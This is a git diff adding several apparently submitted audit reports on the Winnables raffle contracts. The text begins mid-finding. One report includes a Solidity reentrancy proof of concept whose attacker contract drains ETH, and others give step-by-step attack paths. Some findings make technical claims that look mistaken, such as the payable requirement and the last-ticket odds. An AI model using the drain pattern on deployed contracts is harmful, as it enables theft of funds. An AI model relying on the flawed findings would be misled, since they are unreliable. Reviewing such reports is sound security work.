(raffleId, winner) = _decodeWinnerDrawnMessage(message.data); + _rafflePrize[raffleId].winner = winner; + emit WinnerPropagated(raffleId, winner); + } +``` + +Also as the users can choose `PrizeManager` contract address and `chainSelector` in `cancelRaffle()` and `propagateRaffleWinner()` function , an attacker choose wrong contract addresses and wrong chain selectors to intentionally make the CCIP call fails to break the CCIP message passing system. + +**PoC**: +1. Attacker calls `propagateRaffleWinner()` with wrong PrizeManager contract address. +2. So CCIP message from Avalanche to Mainnet because the contract don't even exists. +3. As the contract didn't exist message connot be executed. +4. Smart Execution time window expires after 8 hours. +5. The message goes in Manual execution mode and all the subsequent messages will blocked for the sender(TicketManager contract here) +## Impact +CCIP message passing system will break. + +Both the fixes recommended by Chainlink in these kinds of situations are not possible. As the contracts are neither upgradable nor can we change the receiver contract to a new contract as message receiving logic is coupled into the business-logic smart contract here. + +> Unhandled exception (logical error) in the receiver contract: If the receiver contract is [upgradeable](https://blog.chain.link/upgradable-smart-contracts/), developers must correct the logic, re-deploy the logic contract, and then manually execute the same transaction. If the receiver contract is not upgradeable, developers must deploy a new receiver contract, and then users can send a new CCIP message. Non-upgradable contracts will not benefit from manual execution. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L265 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L370 + +## Tool used + +Manual Review + +## Recommendation +As per the Chainlink docs linked in the report: +> Test thoroughly to ensure logical conditions for all paths are gracefully handled in your receiver contract. + +Handle the reverts gracefully. \ No newline at end of file diff --git a/555.md b/555.md new file mode 100644 index 0000000..8fc9bb7 --- /dev/null +++ b/555.md @@ -0,0 +1,39 @@ +Powerful Chambray Butterfly + +Medium + +# `WinnablesTicket::ownerOf` can get the wrong winner + +### Summary + +The `WinnablesTicket::ownerOf` can pick the wrong winner when called as the function cannot get the range of token that an owner have. + +### Root Cause + +- The `while (_ticketOwnership[id][ticketId] == address(0))` loop assumes that when the token has address(0), the owner is the closest ticketId owner before it. There is a chance that the ticket has no owner actually https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L93. + +### Internal pre-conditions + +1. The tickets are not all sold + +### External pre-conditions + +1. The function needs to be called + +### Attack Path + +1. The function `ownerOf` is called +2. The function returns the winner based on the algorithm +3. Turns out that the token does not have an owner. + +### Impact + +- The raffle can pick the wrong winner + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/560.md b/560.md new file mode 100644 index 0000000..0a80451 --- /dev/null +++ b/560.md @@ -0,0 +1,39 @@ +Bubbly Currant Turtle + +Medium + +# Users can use multiple accounts to bypass the function `_checkTicketPurchaseable`. + +### Summary + +A User can use multiple accounts to bypass the function `_checkTicketPurchaseable`. + +### Root Cause + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L407-L420 + +Function `_checkTicketPurchaseable` is used to limit the number of ticket a use obtained. However, this can be easily bypassed because users can create multiple accounts. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The the function `_checkTicketPurchaseable` is bypassed. + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/579.md b/579.md new file mode 100644 index 0000000..c31123e --- /dev/null +++ b/579.md @@ -0,0 +1,37 @@ +Creamy Scarlet Cottonmouth + +High + +# abi.encodePacked will affect the uri function + +### Summary + +abi.encodePacked() should not be used with dynamic types when passing the result to a hash function. This will result in unintended results when returned + +### Root Cause + +In WinnablesTicket.sol [Line: 57] abi.enCodeHacked() is used to encode 2 string arguments. This may result in a hash collision as the encoding is not padded to 32bytes. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The uri function may be impacted as it will return an unexpected result due to using abi.Encode pack. This also means that there won't be an ability to decode the uri function return should there be a need for it. + +### PoC + +_No response_ + +### Mitigation + +The mitigation for this would be to use either abi.Encode() or bytes.concact() since the arguments are strings. \ No newline at end of file diff --git a/591.md b/591.md new file mode 100644 index 0000000..2955cd5 --- /dev/null +++ b/591.md @@ -0,0 +1,57 @@ +Original Zinc Caribou + +Medium + +# last raffle ticker buyer will never win the raffle + +### Summary + +Getting the winningNumber with `uint256 winningTicketNumber = request.randomWord % supply;` guarantees that the last buyer of the raffle `supplies - > _supplied[raffleId]` never win because `%` will only choose from 0 to (supply - 1). + +### Root Cause + +In `WinnablesTicketManager.sol:_getWinnerByRequestId` the winning Number is gotten by getting the supply of the `WinnablesTicket` contract and doing a % operation on it but forgetting the last ticket. + +```solidity +uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(request.raffleId); + uint256 winningTicketNumber = request.randomWord % supply; +``` + +This ensures the last raffle ticket before the draw matching the supply number is not considered and if +`request.randomWord == (supply) n` the first raffle buyer will be chosen. + +The first raffle buyer has 2ce the chance of others to win the raffle and the last ticket holder has 0% chance of winning the raffle + +### Internal pre-conditions + +`propagateRaffleWinner` has to be called + +### External pre-conditions + +Chainlink VRF has to return `request.randomWord == (supply)N`, where N is a multiplier of supply + +### Attack Path + +`WinnablesTicketManager:fulfillRandomWords -> WinnablesTicketManager:propagateRaffleWinner -> WinnablesTicketManager:_getWinnerByRequestId` +### Impact + +Last raffle ticket holder loses out on a chance to win the raffle and first ticket holder has a higher chance of winning the raffle, making the raffle skewed and unfair. + +### PoC + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L472 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334 + +```solidity +function _getWinnerByRequestId(uint256 requestId) internal view returns(address) { + RequestStatus storage request = _chainlinkRequests[requestId]; + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(request.raffleId); + uint256 winningTicketNumber = request.randomWord % supply; + return IWinnablesTicket(TICKETS_CONTRACT).ownerOf(request.raffleId, winningTicketNumber); + } +``` + +### Mitigation + +Replace with `uint256 winningTicketNumber = request.randomWord % (supply +1);` \ No newline at end of file diff --git a/593.md b/593.md new file mode 100644 index 0000000..3edf8b4 --- /dev/null +++ b/593.md @@ -0,0 +1,43 @@ +Tall Ultraviolet Porcupine + +Medium + +# `buytickets` function can be completely blocked under high demand + +### Summary + +As outlined in the document provided by the sponsor: +https://docs.google.com/document/d/12kGD8nJ9DiR0cW5ngT8A6gE7GBG7NwiDCOIkGksL8qY/edit, +the process of buying tickets begins with an HTTP request to the API, which returns the available number of tickets, the purchase price, and a signature. The number of tickets is then validated by the `_checkTicketPurchaseable` function and checked against the possible supply, as seen [here](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L418-L418). Due to the asynchronous nature of these requests, it’s possible that the data and signatures could be generated just before another user completes a purchase, rendering the API data outdated and causing the transaction to revert, effectively paralyzing one of the application's core functions. + +> _When trying to purchase tickets, an HTTP request goes to our API to specify the address of the buyer and the chosen bundle, the response will include the price to pay, the actual number of tickets (after computing potential bonuses and ensuring we don’t exceed the ticket supply or the max holding), a nonce and an ECDSA signature that will allow the contract to verify that this purchase is valid_ + +### Root Cause + +Signatures and data are generated based on data at a specific moment without considering previous purchase transactions, leading to inconsistencies when other users buy tickets. + +### Internal pre-conditions + +1. The raffle is created. +2. There is a possibility of purchasing a large number of promotional ticket bundles, causing the API data to differ from what is shown on the website. +3. High demand for the raffle and a large volume of API requests. + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Most purchase transactions initiated through the [`buyTickets`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L182-L182) function will be rejected due to outdated data (`ticketCount`). This will cause the application's core ticket-buying feature to not function as intended. + +### PoC + +_No response_ + +### Mitigation + +The `buyTickets` process should involve some form of reservation system for the requested number of tickets. This reservation should be factored into subsequent requests to prevent multiple users from purchasing "the same" tickets. The reservation should also have a time limit to allow other users to purchase tickets if the original user decides not to complete the transaction. \ No newline at end of file diff --git a/604.md b/604.md new file mode 100644 index 0000000..dc1d824 --- /dev/null +++ b/604.md @@ -0,0 +1,51 @@ +Creamy Scarlet Cottonmouth + +High + +# Function "_SendETH" will not be able to send ETH to the relevant account. + +### Summary + +"_SendETH" will not be able to send ETH to the relevant account as the function or the account parameter is not made payable. Thus result in no ETH sent or transfered. + +### Root Cause + +In WinnablesTicketManager.sol:[Line483] there's a function called _sendETH. This function is intended to send ETH to an account and handles error cases. Without the payables keyword attached the function itself or the account address, the account will not be able to receive some ETH. This will affect all the functions that have _SendETH in it. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Intended receipients will not be able to get their ETH. This breaks one of your principles/invariants "Participants in a raffle that got cancelled can always get refunded" + +### PoC + +_No response_ + +### Mitigation + +Here's the mitigation to the cause: + +```diff ++ function _sendETH(uint256 amount, address to) internal { ++ if (amount == 0) revert NothingToSend(); ++ (bool success, ) = payable(to).call{ value: amount }(""); ++ if (!success) revert ETHTransferFail(); ++ } + +-function _sendETH(uint256 amount, address to) internal { +- if (amount == 0) revert NothingToSend(); +- (bool success, ) = to.call{ value: amount }(""); +- if (!success) revert ETHTransferFail(); +- } +``` \ No newline at end of file diff --git a/607.md b/607.md new file mode 100644 index 0000000..15c7c5b --- /dev/null +++ b/607.md @@ -0,0 +1,99 @@ +Huge Laurel Condor + +Medium + +# An attacker will steal funds from the contract by exploiting a reentrancy vulnerability + +### Summary + +The missing reentrancy guard in the withdrawETH function allows an attacker to repeatedly call the function before the previous execution completes. This could lead to the attacker draining the entire balance of the contract. + +### Root Cause + +The withdrawETH function in the smart contract lacks a reentrancy guard, which permits an attacker to repeatedly call the function before the first call is completed. This oversight allows the attacker to continuously withdraw funds from the contract, potentially draining all ETH from the contract's balance. + +### Internal pre-conditions + +The attacker has a small amount of ETH in the contract. +The withdrawETH function is callable by the attacker without restrictions. +There is a significant amount of ETH in the contract's balance. + +### External pre-conditions + +The contract contains a balance of ETH. +The attacker has an address with ETH in the contract. +No other function or guard in the contract prevents reentrant calls. + +### Attack Path + +The attacker initiates the withdrawETH function. +Before the first execution completes, the attacker triggers another withdrawETH call via a fallback function in a smart contract. +The attacker repeats this process until all ETH is drained from the contract. + +### Impact + +The protocol suffers a complete loss of funds. The attacker successfully drains all ETH from the contract's balance by exploiting the reentrancy vulnerability. This could result in significant financial loss for the contract and its users. + +### PoC + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L300 + +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +contract VulnerableRaffle { + uint256 private _lockedETH; + + // Assume this is the vulnerable withdrawETH function + function withdrawETH() external { + uint256 balance; + unchecked { + balance = address(this).balance - _lockedETH; + } + _sendETH(balance, msg.sender); + } + + function _sendETH(uint256 amount, address to) internal { + // Sending ETH to the caller + (bool success, ) = to.call{value: amount}(""); + require(success, "Transfer failed"); + } + + // Fallback function to receive ETH + receive() external payable {} +} + +contract Attacker { + VulnerableRaffle public vulnerableContract; + + constructor(address _vulnerableAddress) { + vulnerableContract = VulnerableRaffle(_vulnerableAddress); + } + + // Function to attack the contract + function attack() public payable { + require(msg.value >= 1 ether, "Send at least 1 ETH to attack"); + // Initiate withdrawal + vulnerableContract.withdrawETH(); + } + + // Fallback function that gets triggered on receiving ETH + receive() external payable { + if (address(vulnerableContract).balance > 1 ether) { + // Re-enter withdrawETH until the contract is drained + vulnerableContract.withdrawETH(); + } + } +} +Explanation: +The VulnerableRaffle contract has a vulnerable withdrawETH function. +The Attacker contract is designed to exploit this vulnerability. When attack() is called, it initiates the withdrawETH function. +When the contract sends ETH back to the Attacker, the fallback function (receive()) is triggered, allowing the attacker to re-enter the withdrawETH function before the first execution completes. +This loop continues until all ETH in the vulnerable contract is drained. + +### Mitigation + +Explanation of Mitigation: +ReentrancyGuard: By inheriting from OpenZeppelin's ReentrancyGuard, we can use the nonReentrant modifier to prevent reentrant calls to the withdrawETH function. +nonReentrant Modifier: This modifier ensures that a function cannot be entered again while it is still executing. It effectively blocks reentrancy attacks. +Other Security Considerations: Always consider using the checks-effects-interactions pattern and carefully managing your contract's state before interacting with external contracts. \ No newline at end of file diff --git a/608.md b/608.md new file mode 100644 index 0000000..71efaf6 --- /dev/null +++ b/608.md @@ -0,0 +1,59 @@ +Glamorous Porcelain Toad + +Medium + +# The implementation of _packCCIPContract and _ccipReceive allows message receiving from chains with same chain id where one might not be configured. + +## Summary +The implementation of `_packCCIPContract` and `_ccipReceive` allows message receiving from chains with same chain id where one might not be configured. +## Vulnerability Detail +Look at the following code: + +```solidity + function _ccipReceive( + Client.Any2EVMMessage memory message + ) internal override { + (address _senderAddress) = abi.decode(message.sender, (address)); + bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); + (uint256 raffleId) = abi.decode(message.data, (uint256)); + if (_raffles[raffleId].status != RaffleStatus.NONE) { + // The raffle cannot be created, send back a cancel message to unlock the prize + _sendCCIPMessage( + _senderAddress, + message.sourceChainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + return; + } + _raffles[raffleId].status = RaffleStatus.PRIZE_LOCKED; + + emit RafflePrizeLocked( + message.messageId, + message.sourceChainSelector, + raffleId + ); + } + ``` + + ccip receive function checks if the packed address+chain id have been setup to receive message and than execute core functionality depending upon the message. + +But the problem with that is if let's say BOB chain is configured with chain id 69, and there is an Alice chain out there with same id, it will allow message receiving from both chain where on one chain the address can be controlled by different entity and they can than make atatck calls. + +This have happened in the past where two different chains have same chain id for some time. + +The dao hard fork: + +Initially, both Ethereum (ETH) and Ethereum Classic (ETC) shared the same chain ID, which was 1. This overlap created the potential for replay attacks, where a transaction signed on one chain could be replayed on the other chain. To mitigate this, Ethereum Classic later changed its chain ID to 61 to distinguish itself from the Ethereum mainnet. + +BSC and Heuco chain shared the same chain id at one point too. + +## Impact +Arbitrary call will succeed from a blockchain with same chain id. +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L260-L278 +## Tool used +Manual Review + +## Recommendation +Don't use chain id as source of truth only. \ No newline at end of file diff --git a/611.md b/611.md new file mode 100644 index 0000000..482491a --- /dev/null +++ b/611.md @@ -0,0 +1,43 @@ +Small Honeysuckle Sheep + +Medium + +# last second raffle cancel + +## Summary + +## Vulnerability Detail +Raffle bidders are allowed to bid at the last second of a raffle + +```solidity + function _checkTicketPurchaseable(uint256 raffleId, uint256 ticketCount) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.startsAt > block.timestamp) revert RaffleHasNotStarted();// check if raffle has started + if (raffle.status != RaffleStatus.IDLE) revert RaffleHasEnded();// NONE, PRIZE_LOCKED, IDLE, REQUESTED, FULFILLED, PROPAGATED, CLAIMED, CANCELED + if (block.timestamp > raffle.endsAt) revert RaffleHasEnded();// @< last second bid possible +``` +Let's say raffle ends at second x. In case there are not enough bids to meet the min required amount for the raffle to be successful, there will be refunds. This is done by calling WinnablesTicketManager::cancelRaffle(). Internally it validates if the raffle has ended. +if (raffle.endsAt > block.timestamp) +```solidity + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return;// has not started yet + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle();// raffle has started + // check if raffle has ended or ends in curr block. If Active revert() + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen();// @< + } +``` +As can be seen the last if statement checks: +`if (raffle.endsAt > block.timestamp) ` +However at the last second, there are still bids possible from other players, also the raffle can be canceled at the last second. Which means that a raffle participant can monitor the mempool, check at the last second if there will be enough bids way bigger than his own, which means that he can have much less chance of winning. Knowing this info he can cancel the raffle at the last second and get a refund + +## Impact +Unfair refund for players who bid too small amount, fair players who bid bigger amount will not receive potential rewards, even though min required tickets was met. +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L438 +## Tool used + +Manual Review + +## Recommendation +Implement more robust time checks for the raffle time durations \ No newline at end of file diff --git a/invalid/.gitkeep b/invalid/.gitkeep new file mode 100644 index 0000000..e69de29